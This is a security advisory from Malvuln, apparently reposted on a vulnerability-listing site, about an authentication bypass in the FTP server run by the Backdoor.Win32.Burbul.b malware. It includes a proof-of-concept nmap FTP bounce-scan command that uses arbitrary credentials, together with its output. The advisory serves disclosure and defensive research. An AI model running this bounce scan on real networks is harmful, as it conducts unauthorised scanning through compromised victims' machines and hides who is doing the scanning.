Backdoor.Win32.Burbul.b / Authentication Bypass MITM Port Bounce Scan

us malvuln (US) us
Risk: Low
Local: No
Remote: Yes

Discovery / credits: Malvuln - (c) 2021 Original source: Contact: Media: Threat: Backdoor.Win32.Burbul.b Vulnerability: Authentication Bypass MITM Port Bounce Scan Description: The backdoor runs an FTP server that listens on TCP port 2121. Third-party adversaries can abuse the server as a man-in-the-middle machine allowing PORT Command bounce scan attacks using Nmap. This vulnerability allows remote attackers to abuse your system and discreetly conduct network port scanning. Victims will then think these scans are originating from the infected system running the afflicted malware FTP Server and not you. This is easily accomplished as the malware also suffers from a authentication bypass as any username password combination can be used to authenticate. Type: PE32 MD5: 3ee4cb2e06eb1f7fe54c89db903f3e7a Vuln ID: MVID-2021-0154 Disclosure: 03/30/2021 Exploit/PoC: nmap -n -Pn -b mal:vuln@ -p21,22,80 -v Starting Nmap 7.80 ( ) at 2021-03-30 12:17 Pacific Daylight Time Resolved FTP bounce attack proxy to ( Attempting connection to ftp://mal:vuln@ Connected:220 ╟Σα≡α±≥≤Θ≥σ ≤Γαµασ∞√Θ ⌡α÷Ωσ≡.. ╟αßσ≡αΘ≥σ Γ±σ ≈≥ε ±≈Φ≥ασ≥σ φ≤µφ√∞... Login credentials accepted by FTP server! Initiating Bounce Scan at 12:17 Discovered open port 80/tcp on Completed Bounce Scan at 12:17, 2.13s elapsed (3 total ports) Nmap scan report for Host is up. PORT STATE SERVICE 21/tcp closed ftp 22/tcp closed ssh 80/tcp open http Read data files from: C:\Program Files (x86)\Nmap Nmap done: 1 IP address (1 host up) scanned in 11.26 seconds Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) (TM).

Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2021,


Back to Top